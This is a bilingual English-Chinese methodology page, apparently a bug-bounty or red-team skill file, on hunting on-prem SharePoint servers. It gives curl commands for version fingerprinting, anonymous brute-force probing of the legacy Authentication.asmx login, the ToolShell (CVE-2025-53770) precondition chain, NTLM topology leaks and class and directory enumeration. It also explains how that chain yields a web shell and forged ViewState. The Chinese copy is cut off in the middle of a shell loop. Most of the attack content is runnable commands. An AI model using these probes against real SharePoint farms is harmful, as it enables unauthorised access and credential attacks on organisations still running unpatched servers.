hunt-sharepoint

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Crown Jewel Targets

核心高价值目标

SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
  1. End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build
    15.0.5545.1000
    / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
  2. CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit
    + anonymous
    __REQUESTDIGEST
    + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
  3. Custom branded login pages forget legacy SOAP login.
    /_vti_bin/Authentication.asmx
    with the
    Login
    SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.
Highest-value SharePoint targets:
  • SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
  • Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
  • SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
  • SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see
    hunt-ntlm-info
    ) discloses the parent forest membership.
  • Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.
Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.

本地部署的 SharePoint Server 是 2025-2026 年漏洞赏金/红队工作中最丰富的企业攻击面之一。三方面因素相互叠加:
  1. EoL 未修补代码路径。 SharePoint Server 2013 已于 2023-04-11 结束扩展支持(EoL)(最终 build
    15.0.5545.1000
    / KB5002381)。此后发布的每个 SharePoint CVE 在 SP2013 农场中都将永久保持未修补状态。SP2016 将于 2026-07-14 达到 EoL;SP2019 将于 2026-07-14 达到 EoL(截至 2026 年 5 月为未来两个月);只有 SP Subscription Edition 目前仍处于活跃支持期。
  2. CVE-2025-53770 / 53771“ToolShell”——2025 年 7 月面向 SPE / SP2019 / SP2016 发布的紧急 OOB 补丁链。脆弱代码路径(匿名
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit
    + 匿名
    __REQUESTDIGEST
    + 未加密 ViewState)在 SP2013 中同样存在,并且永远不会收到修复。
  3. 自定义品牌登录页面遗留旧版 SOAP 登录。 带
    Login
    SOAP 操作的
    /_vti_bin/Authentication.asmx
    相当于 WordPress XMLRPC 绕过——它可以匿名接受原生 Forms 凭据,而且大多数农场没有速率限制,即使品牌 UI 已设置锁定策略。
价值最高的 SharePoint 目标:
  • 仍暴露在公共互联网上的 SP2013 农场——自 2023 年 4 月以来的每个 CVE 都未修补。属于 Critical 级别发现。
  • 由企业集成商构建的经销商/合作伙伴/供应商门户(德国大众集团、某企业系统集成商等)——业务数据影响高,而且通常嵌套在企业 AD 树中。
  • 启用了匿名 Forms 认证区域的 SharePoint 农场——Authentication.asmx 可被匿名暴力破解。
  • 位于企业 AD 父林中的 SharePoint 农场——NTLM Type-2 泄露(参见
    hunt-ntlm-info
    )会暴露父林成员关系。
  • 集成 Telerik 的 SharePoint 安装——除 SharePoint 自身的攻击面外,还存在额外的反序列化汇点。
**收益最高的资产类型:**可触达互联网的 SP Server(任意版本)> 带自定义解决方案挂钩的 SP Online > 仅在 VPN 被攻破后才可触达的 Intranet SP。

Attack Surface Signals

攻击面信号

Response-header fingerprints (any one is sufficient — usually multiple co-occur):
SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)
URL / path fingerprints:
/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)
Body signals (in HTML responses):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)
Tech-stack signals:
  • Server: Microsoft-IIS/10.0
    + paths starting with
    /_layouts/15/
    → SharePoint 2013/2016/2019/SE
  • AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
  • WWW-Authenticate: NTLM
    on
    /_api/web/CurrentUser
    → dual-auth (Forms + NTLM); use
    hunt-ntlm-info
    for AD-topology disclosure
  • *.test.<customer>.tld
    → test/staging mirror of production SharePoint; data often mirrored from prod

响应头指纹(命中任意一项即足够——通常会同时出现多项):
SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)
URL/路径指纹:
/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)
正文信号(位于 HTML 响应中):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)
技术栈信号:
  • Server: Microsoft-IIS/10.0
    + 以
    /_layouts/15/
    开头的路径 → SharePoint 2013/2016/2019/SE
  • SharePoint 前方部署 AWS ELB / ALB → 可能出现跨节点 ViewState MAC 问题(参见
    hunt-aspnet
    )
  • /_api/web/CurrentUser
    返回
    WWW-Authenticate: NTLM
    → 双认证(Forms + NTLM);使用
    hunt-ntlm-info
    披露 AD 拓扑
  • *.test.<customer>.tld
    → 生产环境 SharePoint 的测试/预发布镜像;数据通常会从生产环境镜像过来

Step-by-Step Hunting Methodology

分步探测方法

  1. Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.
    bash
    # Method 1: _vti_inf.html (always anonymous, always present)
    curl -sk "https://target.example/_vti_inf.html"
    # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
    
    # Method 2: _api/contextinfo POST (anonymous on most farms)
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.LibraryVersion'
    # → "15.0.5545.1000" (full build number)
    
    # Method 3: /_layouts/15/start.aspx body
    curl -sk "https://target.example/_layouts/15/start.aspx" \
      | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
    Map to CVE matrix:
    BuildEditionStatusNotable unpatched-after-EoL CVEs
    15.0.5545.1000
    SP2013 final CUEoL 2023-04-11CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794
    16.0.10416.x
    SP2016EoL 2026-07-14depends on patch level
    16.0.10417.x+
    SP2019 / SEactivecheck Microsoft's monthly Patch Tuesday
  2. Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
    /_vti_inf.html                                          → version disclosure
    /_layouts/15/start.aspx                                 → version disclosure + session minting
    /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
    /_layouts/15/error.aspx                                 → request-validator behaviour probe
    /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/SignOut.aspx                               → logout — anonymous OK
    /_layouts/15/closeConnection.aspx                       → anonymous OK
    /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
    /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
    /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
    /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
    /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
    /_vti_bin/SharedAccess.asmx                             → often anonymous
    /_vti_bin/spsdisco.aspx                                 → SP service discovery
    /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
    /_api/$metadata                                         → 381KB API surface enumeration
    /_api/Search                                            → search service descriptor
    /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
  3. Legacy SOAP login bypass via Authentication.asmx. Cross-reference
    hunt-auth-bypass
    Legacy-Protocol Matrix. The standard probe:
    bash
    # First: confirm Mode = Forms (else this attack vector is N/A)
    curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
      -H "Content-Type: text/xml; charset=utf-8" \
      -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
      -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
    # → <ModeResult>Forms</ModeResult>  ← target is exploitable
    # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
    
    # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
    # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
    # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
    Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."
  4. ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:
    bash
    # Sub-step a: anonymous GET on ToolPane.aspx
    curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
    # If both: precondition stack is anonymous-reachable.
    
    # Sub-step b: anonymous POST to /_api/contextinfo
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.FormDigestValue'
    # Should return a valid digest with 1800s validity.
    
    # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
    curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
      -H "X-RequestDigest: <digest from step b>" \
      --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
    # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
    Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if
    __VIEWSTATEENCRYPTED
    is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
    IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The
    <machineKey>
    (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed
    __VIEWSTATE
    for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.
  5. NTLM Type-2 AD topology disclosure. Cross-reference
    hunt-ntlm-info
    for full methodology. Quick check:
    bash
    # Use Burp send_http1_request with keep-alive, or Python raw socket
    # Anonymous Type-1 with NetBIOS-info request flag:
    #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
    Severity: Medium when chained with internet exposure + default
    WIN-XXXXXXXXXXX
    hostname; Informational otherwise.
  6. SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:
    • Type EXISTS but not whitelisted:
      "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
    • Type DOES NOT exist:
      "Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
    Feed a wordlist of
    Microsoft.SharePoint.*.WebControls.*
    and
    Microsoft.SharePoint.WebPartPages.*
    types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.
    bash
    for cls in \
      "Microsoft.SharePoint.WebControls.PeopleEditor" \
      "Microsoft.SharePoint.WebControls.ItemPicker" \
      "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
      ; do
      curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
        | grep -oE "<title>[^<]+</title>"
    done
  7. download.aspx
    is NOT outbound SSRF — recognize and don't waste time.
    SP's
    /_layouts/15/download.aspx?SourceUrl=
    is an SP-internal path resolver, not a generic URL fetcher. Behaviours:
    • External URL (
      http://evil.example.com/x
      ) → 500 with
      "The Web application at <URL> could not be found"
      — server tried to resolve as an SP web app, didn't fetch.
    • Same-origin file URL → 500 with
      "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"
      — server tried SPFile.OpenBinary, file not found.
    • Files matching the extension blocklist (
      .ashx
      ,
      .asmx
      ,
      .svc
      ,
      .config
      ) → 500 with
      "file blocked from this Web site by the server administrators"
      regardless of whether the file exists.
    • file://
      , UNC paths,
      gopher://
      , etc. → 500 with
      "Value does not fall within the expected range"
      — URL-scheme validator rejects.
    The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference
    hunt-ssrf
    OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.
    The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.
  8. Custom-branding module enumeration. Customer-customised SP installations almost always have a
    /_layouts/15/<CustomerName>/
    directory tree. Find the name from the login URL (e.g.
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx
    → customer name is
    <CustomerName>
    ). Then probe:
    bash
    for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
      curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
        "https://target.example/_layouts/15/CustomerName/$sub/"
      # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
    done
    JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper
    Referer
    header (some are referer-gated).
  9. Search service probe.
    /_api/Search
    returns a small JSON descriptor anonymously.
    /_api/search/query?querytext='X'
    returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.
  10. Authenticated post-login surfaces (if you have valid credentials):
    • /_api/web/Lists
      — enumerate lists
    • /_api/web/SiteUsers
      — enumerate users
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files
      — file enumeration
    • /_layouts/15/people.aspx
      — user listing
    • Custom customer-branded modules — check for IDOR, business logic
    • Workflow Services (
      /_api/SP.WorkflowServices.*
      )

  1. 识别 SharePoint 版本。 通过多条路径可匿名泄露 build 编号。立即将结果映射到 CVE 矩阵。
    bash
    # Method 1: _vti_inf.html (always anonymous, always present)
    curl -sk "https://target.example/_vti_inf.html"
    # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
    
    # Method 2: _api/contextinfo POST (anonymous on most farms)
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.LibraryVersion'
    # → "15.0.5545.1000" (full build number)
    
    # Method 3: /_layouts/15/start.aspx body
    curl -sk "https://target.example/_layouts/15/start.aspx" \
      | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
    映射到 CVE 矩阵:
    BuildEditionStatusEoL 后仍未修补的 notable CVE
    15.0.5545.1000
    SP2013 final CUEoL 2023-04-11CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794
    16.0.10416.x
    SP2016EoL 2026-07-14取决于补丁级别
    16.0.10417.x+
    SP2019 / SE活跃支持检查 Microsoft 每月 Patch Tuesday
  2. 匿名端点矩阵探测。 一次遍历下表中的每个端点。任何可匿名访问的端点都会成为攻击链的一部分。
    /_vti_inf.html                                          → version disclosure
    /_layouts/15/start.aspx                                 → version disclosure + session minting
    /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
    /_layouts/15/error.aspx                                 → request-validator behaviour probe
    /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
    /_layouts/15/SignOut.aspx                               → logout — anonymous OK
    /_layouts/15/closeConnection.aspx                       → anonymous OK
    /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
    /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
    /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
    /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
    /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
    /_vti_bin/SharedAccess.asmx                             → often anonymous
    /_vti_bin/spsdisco.aspx                                 → SP service discovery
    /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
    /_api/$metadata                                         → 381KB API surface enumeration
    /_api/Search                                            → search service descriptor
    /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
  3. 通过 Authentication.asmx 绕过旧版 SOAP 登录。 与
    hunt-auth-bypass
    的 Legacy-Protocol Matrix 交叉核对。标准探测:
    bash
    # First: confirm Mode = Forms (else this attack vector is N/A)
    curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
      -H "Content-Type: text/xml; charset=utf-8" \
      -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
      -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
    # → <ModeResult>Forms</ModeResult>  ← target is exploitable
    # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
    
    # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
    # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
    # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
    **严重性:**当满足匿名访问 + 无速率限制 + 无锁定策略时,严重性为 Critical。即使在证明成功认证之前,也可以将其作为漏洞赏金提交——问题在于无限制的凭据验证,而不是“我破解了某个凭据”。
  4. ToolShell 前置条件链探测(CVE-2025-53770 类)。三个子请求:
    bash
    # Sub-step a: anonymous GET on ToolPane.aspx
    curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
    # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
    # If both: precondition stack is anonymous-reachable.
    
    # Sub-step b: anonymous POST to /_api/contextinfo
    curl -sk -X POST "https://target.example/_api/contextinfo" \
      -H "Accept: application/json;odata=verbose" \
      | jq -r '.d.GetContextWebInformation.FormDigestValue'
    # Should return a valid digest with 1800s validity.
    
    # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
    curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
      -H "X-RequestDigest: <digest from step b>" \
      --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
    # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
    **严重性:**在 EoL SP2013 上为 Critical(永远不会发布补丁)。如果 SP2016/2019/SE 的
    __VIEWSTATEENCRYPTED
    非空,则为 High(加密 ViewState 可以缓解反序列化分支,但该前置条件仍表明存在错误配置)。
    **重要:**不要实际投递恶意 ViewState payload。报告所需证据仅为前置条件链。在真实的 CVE-2025-53770 链中,machineKey 恢复并不是 RCE 的前置条件:认证绕过(CVE-2025-49706,向 ToolPane.aspx 发送特制 Referer)+ 不安全反序列化(CVE-2025-49704)可以在无需获知 machineKey 的情况下获得初始 web shell。随后,该 web shell 会转储
    <machineKey>
    (ValidationKey/DecryptionKey),并使用它伪造签名的
    __VIEWSTATE
    ,以实现持久化/未认证的再次利用。因此,machineKey 是首次 RCE 和持久化分支所取得的战利品,而不是其前置门槛——不要仅仅因为 machineKey 未知就低估可利用农场的风险。
  5. NTLM Type-2 AD 拓扑泄露。 完整方法参见
    hunt-ntlm-info
    。快速检查:
    bash
    # Use Burp send_http1_request with keep-alive, or Python raw socket
    # Anonymous Type-1 with NetBIOS-info request flag:
    #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
    # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
    **严重性:**与互联网暴露 + 默认
    WIN-XXXXXXXXXXX
    主机名组合时为 Medium;其他情况下为 Informational。
  6. 通过 Picker.aspx 枚举 SafeControl。 Picker.aspx 会根据类是否存在来区分两种错误状态:
    • 类型存在但不在白名单中:
      "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
    • 类型不存在:
      "Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
    将
    Microsoft.SharePoint.*.WebControls.*
    和
    Microsoft.SharePoint.WebPartPages.*
    类型词表输入其中,以枚举可访问的类。该列表本身就是针对 CVE-2019-0604 家族攻击链的侦察线索。
    bash
    for cls in \
      "Microsoft.SharePoint.WebControls.PeopleEditor" \
      "Microsoft.SharePoint.WebControls.ItemPicker" \
      "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
      ; do
      curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
        | grep -oE "<title>[^<]+</title>"
    done
  7. download.aspx
    不是出站 SSRF——识别这一点,避免浪费时间。
    SP 的
    /_layouts/15/download.aspx?SourceUrl=
    是 SP 内部路径解析器,不是通用 URL 获取器。其行为如下:
    • 外部 URL(
      http://evil.example.com/x
      )→ 返回 500,错误为
      "The Web application at <URL> could not be found"
      ——服务器尝试将其解析为 SP Web 应用,但没有发起请求。
    • 同源文件 URL → 返回 500,错误为
      "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"
      ——服务器尝试使用 SPFile.OpenBinary,但未找到文件。
    • 匹配扩展名阻止列表(
      .ashx
      、
      .asmx
      、
      .svc
      、
      .config
      )的文件 → 无论文件是否存在,均返回 500,错误为
      "file blocked from this Web site by the server administrators"
      。
    • file://
      、UNC 路径、
      gopher://
      等 → 返回 500,错误为
      "Value does not fall within the expected range"
      ——URL scheme 验证器会拒绝请求。
    错误消息中的 URL 回显并不能确认 SSRF。 在提出此结论前,应通过 Burp Collaborator OOB 进行确认。(参见
    hunt-ssrf
    的 OOB-Or-It-Didn't-Happen Gate。)在经授权的测试中已验证为阴性:跨 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的 payload,结果为零回调。
    扩展名阻止列表看起来也像是一个“文件存在性 Oracle”(存在与未找到会返回不同响应),但实际上它只是 SP 的文件扩展名策略。不要根据阻止列表响应推断文件是否存在。
  8. 自定义品牌模块枚举。 客户定制化的 SP 安装几乎总是包含
    /_layouts/15/<CustomerName>/
    目录树。从登录 URL 中查找名称(例如
    /_layouts/15/<CustomerName>/pages/login/customlogin.aspx
    → 客户名称为
    <CustomerName>
    )。随后进行探测:
    bash
    for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
      curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
